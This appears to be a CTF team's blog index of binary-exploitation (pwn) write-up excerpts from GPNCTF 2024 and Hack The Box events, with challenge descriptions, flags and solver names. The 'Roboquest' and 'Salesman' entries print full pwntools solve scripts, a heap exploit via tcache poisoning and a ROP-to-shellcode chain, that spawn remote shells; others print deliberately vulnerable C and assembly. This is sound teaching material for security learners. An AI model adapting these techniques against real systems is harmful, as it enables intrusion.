Too Many Cooks

Oh no! Something awfull happened and we let too many cooks cook up this challenge. I hope you can still get something edible out of it… Category: pwn Solver: computerdores, hack_the_kitty Flag: GPNCTF{4aahhh_th3_l33k_t4st3_0f_v1ct0ry!} Writeup The challenge binary presents you with a menu to select from. One can select a main dish and a desert. Welcome to our dining hall! Please select a dish: -[pizza] A nice and fresh pizza -[gulasch] It's GPN, it's night and I'm programming. The only thing missing is a hot plate of gulasch! -[burger] Borgir! -[leek_soup] A deliciously hearty leek soup. Yum! -[desert] Give me my dessert! \o/ Selecting pizza, for example, you’ll be greeted by a nice ASCII art pizza: ...

June 15, 2024 · 8 min · computerdores, hack_the_kitty

Future of Pwning 1

There’s this cool new forward compatible ISA. I created an online emulator so that you can try it out! Category: pwn Solver: t0b1 Flag: GPNCTF{Ar3_y0u_Re4dy_for_th3_re4l_Chal1eng3?_ee9d22353e82} Writeup In this challenge, we are provided with a Dockerfile, an app.py, a forw binary and an instruction_list.csv. It is primarily a warm-up challenge to play with the ForwardCom ecosystem. Overview We first look at the Dockerfile to find out more about the setup of the challenge: ...

June 13, 2024 · 4 min · t0b1

Petween Reasonable Lines

Now you have two problems. Category: pwn Solver: c0mpb4u3r, t0b1 Flag: GPNCTF{On3_d0es_Not_s1mply_Jump_int0_th3_m1ddle_of_4n_instruct1ion!!1} Introduction Imagine you want to allow users to execute their code on your server. There are a few reasonable options, like WebAssembly for instance. However, you could just write a Perl program that reads arbitrary bytes from stdin and tries to execute them directly on the host CPU. So let’s write some Perl… # Assume we have our code in $p # Mark memory as executable. syscall(10, $p, $s, 4); # Execute this memory region. &{DynaLoader::dl_install_xsub("", $p)}; Looks sketchy, doesn’t it? ...

June 12, 2024 · 6 min · c0mpb4u3r, t0b1

Polyrop

I picked the wrong path at Cyber Security Rumble 2024’s polypwn challenge and failed. Can you do it with more time and a win function? NOTE: Knowledge of polypwn is not required! Credit to @LevitatingLion for the original challenge and part of the code. Category: pwn Solver: nh1729 Flag: GPNCTF{you_re_lucky_that_i_scr4pped_one_arch_11dda4} Writeup Challenge Setup This is the hard version of polyrop-warmup. To summarize: It is a binary exploitation challenge. We get the source of the program to pwn composer.c and a python wrapper composer.py. The program prints a menu to either echo back a line or exit. The program has been compiled for 5 different architectures: s390x, aarch64, arm, riscv64 and x86_64. ...

June 12, 2024 · 19 min · nh1729

Terminator 1

I heard supply-chain security is all the rage now, after a weird XY problem. Not sure what they were up about, but I was probably not asking the correct questions… Undeterred, I went shopping in some poor PhD student’s lab and found this lovely contraption, ending this problem once and for all: As soon as evil code will be executed, your VM will be killed mercilessly. I even built a really cute application for cooking up your cyber recipes to try it out! ...

June 9, 2024 · 19 min · lukasrad02, 3mb0, nh1729

Never gonna give you UB

Can you get this program to do what you want? Category: pwn Solver: jogius Flag: GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk...} This challenge provides us with four files: song_rater.c and a corresponding binary song_rater, as well as a run.sh script and the Dockerfile used for the server. Let’s take a look at the Dockerfile first. Dockerfile At first glance, this doesn’t really do anything interesting - the file simply defines two containers, one for compiling song_rater.c and one for serving the binary. Nothing about the package installation and serving really jumps out to me, so let’s take a look at the gcc line for compilation. ...

June 9, 2024 · 6 min · jogius

Dreamer

It would be a shame if you could exploit this sleepy binary. Category: pwn, misc Solver: rgw, abc013, Liekedaeler, MarDN Flag: GPNCTF{sh0rt_she11c0de_1s_c00l} Writeup We are given a compiled binary dream and its source code dream.c: #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/mman.h> #include <string.h> #define ROTL(X, N) (((X) << (N)) | ((X) >> (8 * sizeof(X) - (N)))) #define ROTR(X, N) (((X) >> (N)) | ((X) << (8 * sizeof(X) - (N)))) unsigned long STATE; unsigned long CURRENT; char custom_random(){ STATE = ROTL(STATE,30) ^ ROTR(STATE,12) ^ ROTL(STATE,42) ^ ROTL(STATE,4) ^ ROTR(STATE,5); return STATE % 256; } void* experience(long origin){ char* ccol= mmap (0,1024, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); size_t k = 0; while(k<106){ *(ccol+k) = 0x90; //nop just in case; k++; } k=16; *((int*)ccol) = origin; while(k<100){ *(ccol+k)=custom_random(); k++; } return ccol; } void sleepy(void * dream){ int (*d)(void) = (void*)dream; d(); } void win(){ execv("/bin/sh",NULL); } void setup(){ setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); } int main(){ setup(); long seed=0; printf("the win is yours at %p\n", win); scanf("%ld",&seed); STATE = seed; printf("what are you thinking about?"); scanf("%ld",&seed); sleepy(experience(seed)); } During execution, we are given the address of the win function that calls execv("/bin/sh",NULL). In experience(), an RWX segment is allocated using mmap. We can supply two values for this segment: ...

June 3, 2024 · 4 min · rgw, abc013, Liekedaeler, MarDN

Gift

A gift from the king. Category: pwn Solver: t0b1, c0mpb4u3r, nh1729 Flag: GPNCTF{new_stuff_and_constraints_a29kd33} Writeup Challenge setup The challenge consists of an x86_64 assembly file gift.s and supporting Makefile and Dockerfile. We have access to the input and output of the compiled assembly via TCP, the flag is in the file /app/flag.txt The challenge binary has only two functions and no linked libraries: .section .text .global _start read_input: # Read 314 bytes + 16 free bytes from stdin to the stack sub $314, %rsp # Make room for the input mov $0, %rax # System call number for read mov $0, %rdi # File descriptor for stdin mov %rsp, %rsi # Address of the stack mov $330, %rdx # Number of bytes to read syscall # Call the kernel add $314, %rsp # Restore the stack pointer ret _start: # Print the message to stdout mov $1, %rax # System call number for write mov $1, %rdi # File descriptor for stdout mov $message, %rsi # Address of the message string mov $message_len, %rdx # Length of the message string syscall # Call the kernel call read_input # Exit the program mov $60, %rax # System call number for exit xor %rdi, %rdi # Exit status 0 xor %rsi, %rsi # I like it clean xor %rdx, %rdx # I like it clean syscall # Call the kernel message: .asciz "Today is a nice day so you get 16 bytes for free!\n" message_len = . - message Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable The read_input can overflow a stack buffer of size 314 with 330 bytes, hence the “16 bytes for free”, setting us up for a 2-pointer ROP chain. Since this is no PIE, we can use gadgets from the tiny binary. ...

June 3, 2024 · 4 min · t0b1, c0mpb4u3r, nh1729

Polyrop-warmup

I picked the wrong path at Cyber Security Rumble 2024’s polypwn challenge and failed. Can you do it with more time and a win function? NOTE: Knowledge of polypwn is not required! Credit to @LevitatingLion for the original challenge and part of the code. Category: pwn Solver: nh1729 Flag: GPNCTF{line_breaks_in_addresses_make_me_sad_a39d9} Writeup Challenge Setup This is a binary exploitation challenge. We get the source of the program to pwn composer.c and a python wrapper composer.py. The program prints a menu to either echo back a line or exit. The twist for this challenge is that the program has been compiled for 5 different architectures: s390x, aarch64, arm, riscv64 and x86_64. ...

June 3, 2024 · 6 min · nh1729

Roboquest

In order to automate our procedures, we have created this data collector steam robot that will go out and ask questions on random citizens and store the data in his memory. Our only problem is that we do not have a template of questions to insert to the robot and begin our test. Prepare some questions and we are good to go! Category: pwn Solver: t0b1 Flag: HTB{r0b0fl0w_tc4ch3_p01s0n} Writeup Libc given, 2.27 Challenge allows to create, modify, show, and delete questions Using show, we can leak the heap and libc base address Modifying a challenge gets the question size via strlen This is problematic, as when using malloc chunks of size 0x8 we can overwrite the size metadata of the following chunk Therefore, we have at least one byte into the metadata of the following chunk Similar to the House of Einherjar and digiheap challenge from last year described here https://d4rk-kn1gh7.github.io/HTB21-Digiheap/ See solve script below Solve script # Solution similar to https://d4rk-kn1gh7.github.io/HTB21-Digiheap/ # This might need multiple attempts when address leaks # contain null bytes. from pwn import * LOCAL = False DEBUG = False remote_ip, port = '159.65.56.112', 32297 binary = './robo_quest' elf = ELF(binary) libc = ELF(".glibc/libc.so.6") context.terminal = ['tmux', 'splitw', '-h'] context.arch = "amd64" context.log_level = "info" # context.aslr = False re = lambda a: p.recv(a) reu = lambda a: p.recvuntil(a) rl = lambda: p.recvline() s = lambda a: p.send(a) sl = lambda a: p.sendline(a) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) libc = ELF(".glibc/libc.so.6") if LOCAL: if DEBUG: p = gdb.debug(binary, gdbscript=''' break *main+202 c ''') else: p = process(binary) else: p = remote(remote_ip, port) def choice(idx): sla("> ", str(idx)) def create(size, question): choice(1) sla("Question's size: ", str(size)) sa("Insert question here: ", question) def show(idx): choice(2) sla("Question's id: ", str(idx)) def modify(idx, question): choice(3) sla("Question's id: ", str(idx)) sa("New question: ", question) def remove(idx): choice(4) sla("Question's id: ", str(idx)) junk = 8 * b'A' # Leak heap via tcache next ptr create(16, junk) create(16, junk) remove(1) remove(0) create(16, b'A') show(0) reu(b'Question [0]: A') tcache_fd = u64((b"\x00" + rl().strip()).ljust(8,b"\x00")) # Offset to heap start found by debugging with GDB and running `vmmap` heap_start = tcache_fd - 0x200 info(f'heap starts at: 0x{heap_start:x}') # Cleanup remove(0) # Leak libc via unsorted bin create(0x500, junk) create(0x500, junk) remove(0) create(0x500, b'A') show(0) reu(b'Question [0]: A') main_arena = u64((b"\x00" + rl().strip()).ljust(8,b"\x00")) info(f'main arena: 0x{main_arena:x}') # Offset to libc start found by debugging with GDB and running `vmmap` libc.address = main_arena - 0x3ebc00 info(f'libc at: 0x{libc.address:x}') system = libc.symbols['system'] info(f'system: 0x{system:x}') free_hook = libc.symbols['__free_hook'] info(f'free_hook: 0x{free_hook:x}') # Cleanup remove(0) remove(1) # Exploit using House of E fake_chunk_address = heap_start + 0x2a0 fake_chunk_payload = p64(0x0) fake_chunk_payload += p64(0x325) fake_chunk_payload += p64(fake_chunk_address) fake_chunk_payload += p64(fake_chunk_address) info(f'Fake chunk starts at: 0x{fake_chunk_address:x}') info(f'Setting up heap') create(0x108, fake_chunk_payload) # Fake chunk create(0x108, junk) create(0x108, cyclic(0x108)) # use this to overwrite next chunks prev_in_use create(0x4f8, junk) # to overflow create(0x108, junk) create(0x28, b'/bin/sh\x00') info(f'Using null byte overflow to set PREV_IN_USE') null_byte_trigger = b'a' * 0x100 + p64(0x320) + b'\x00' modify(2, null_byte_trigger) info(f'Freeing corrupted buffer') remove(3) info(f'Freeing filler') remove(4) info(f'Freeing tcache poison target') remove(1) # tcache poison tcache_poison = b'a' * 0xf8 tcache_poison += p64(0x111) tcache_poison += p64(free_hook) info(f'Creating new chunk to poison tcache fd') create(0x200, tcache_poison) info(f'Creating first chunk') create(0x108, junk) # Overwrite free hook info(f'Creating chunk to overwrite free hook') create(0x108, p64(system)) # Free chunk with '/bin/sh' info(f'Freeing chunk with /bin/sh to trigger free hook') remove(5) info(f'Enjoy shell!') p.interactive()

August 9, 2022 · 3 min · t0b1

Salesman

I see you are new in town adventurer! Here you can pick whatever you want to continue your journey. Need a pet companion? Our arachnoids are the best. Ready to fight? Our pistols are here for you. Lost in time? Our watch will definately save you! Category: pwn Solver: t0b1, s3rp3ntL0v3r Flag: HTB{00b_4nd_p1v0t_2_th3_st34m_w0rld!} Writeup See solve script below. Solver from pwn import * LOCAL = False HOST = '167.172.52.221' PORT = 30371 CHALLENGE = './salesman' context.terminal = ['tmux', 'splitw', '-h'] # context.arch = "amd64" context.log_level = "info" context.binary = elf = ELF(CHALLENGE) re = lambda a: p.recv(a) reu = lambda a: p.recvuntil(a) rl = lambda: p.recvline() s = lambda a: p.send(a) sl = lambda a: p.sendline(a) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) p = gdb.debug(CHALLENGE, '') if LOCAL else remote(HOST, PORT) rop = ROP(elf) rop.mprotect(0x400000, 0x1000, 0x7) rop.read(0, 0x400000, 0x100) rop.call(0x400000) payload = b'A' * 8 payload += rop.chain() # Overwrite base pointer sla(b'Item: ', '-2') sla(b'> ', payload) # As we overwrite the base pointer and the menu for loop checks # relative to the $rbp whose memory is initialized with 0, # we do three rounds instead of two. for i in range(2): info(f'Run {i+1}') sla(b'Item: ', '0') sla(b'> ', b'a') info('Done') info('Done') shell = asm(shellcraft.sh()) p.sendline(shell) p.interactive()

August 9, 2022 · 2 min · t0b1, s3rp3ntL0v3r

Arachnoid Heaven

In the steam world, you need some trustworthy companions to help you continue your journey. What’s better than a handmade, top-tier, state of the art arachnoid machine?! Exactly, nothing! Come to Arachnoid Heaven and craft yours as soon as possible? Category: pwn Solver: t0b1, linaScience Flag: HTB{l3t_th3_4r4chn01ds_fr3333} Writeup In this pwn challenge, we receive a binary called arachnoid_heaven. TL;DR: The craft_arachnoid function allocates 96 bytes of memory but leaks the first 16 bytes. The delete_arachnoid function frees the name and code of an arachnoid, but does not remove the pointers from the global arachnoid array, nor does it decrease the arachnoid count. As malloc allocates adjacent memory cells, we can combine the two functions, to write an arachnoids name into a memory region where a previously allocated arachnoids code pointed to. Then, we can obtain the flag. ...

December 2, 2021 · 5 min · t0b1, linaScience

reality check

You’re being interrogated in the enemy’s headquarters. Fake it and get out of there alive, without telling them anything! Category: pwn Solver: t0b1, Pandoron Flag: HTB{m0ms_sp4gh3tt1_1s_f4k3!} Writeup The first thing we do is running the checksec tool to get any clues where this challenge might be heading. It outputs the following. [*] '/home/user/htb-unictf-2020/finals/pwn/reality_check/reality_check' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) We extract the following information: ...

March 24, 2021 · 5 min · t0b1, Pandoron

kindergarten

When you set the rules, everything is under control! Or not? Category: Pwn Solver: Pandoron, t0bi First let’s run checksec kindergarten. [*] '/home/user/htb-unictf-2020/kindergarten/kindergarten' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments This is good! No stack canary, no position independent code. This must be easy, right? main function undefined8 main(void) { size_t sVar1; setup(); sec(); sVar1 = strlen(&kids_must_follow); write(1,&kids_must_follow,sVar1); read(0,ans,0x60); kinder(); sVar1 = strlen("Have a nice day!!\n"); write(1,"Have a nice day!!\n",sVar1); return 0; } setup setups the challenge buffering for networking. No buffering is used. Everything is written as soon as possible. ...

March 1, 2021 · 3 min · Pandoron, t0b1

mirror

You found an ol’ dirty mirror inside an abandoned house. This magic mirror reflects your most hidden desires! Use it to reveal the things you want the most in life! Don’t say too much though.. Category: Pwn Solver: t0b1 Writeup We start by using the checksec tool, to check what security measures are enabled on the binary. $ checksec mirror [*] '/home/user/htb-unictf-2020/mirror/mirror' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled We see that no canary is found, which means that we will most likely have to exploit a stack based buffer overflow to overwrite some values on the stack. ...

March 1, 2021 · 7 min · t0b1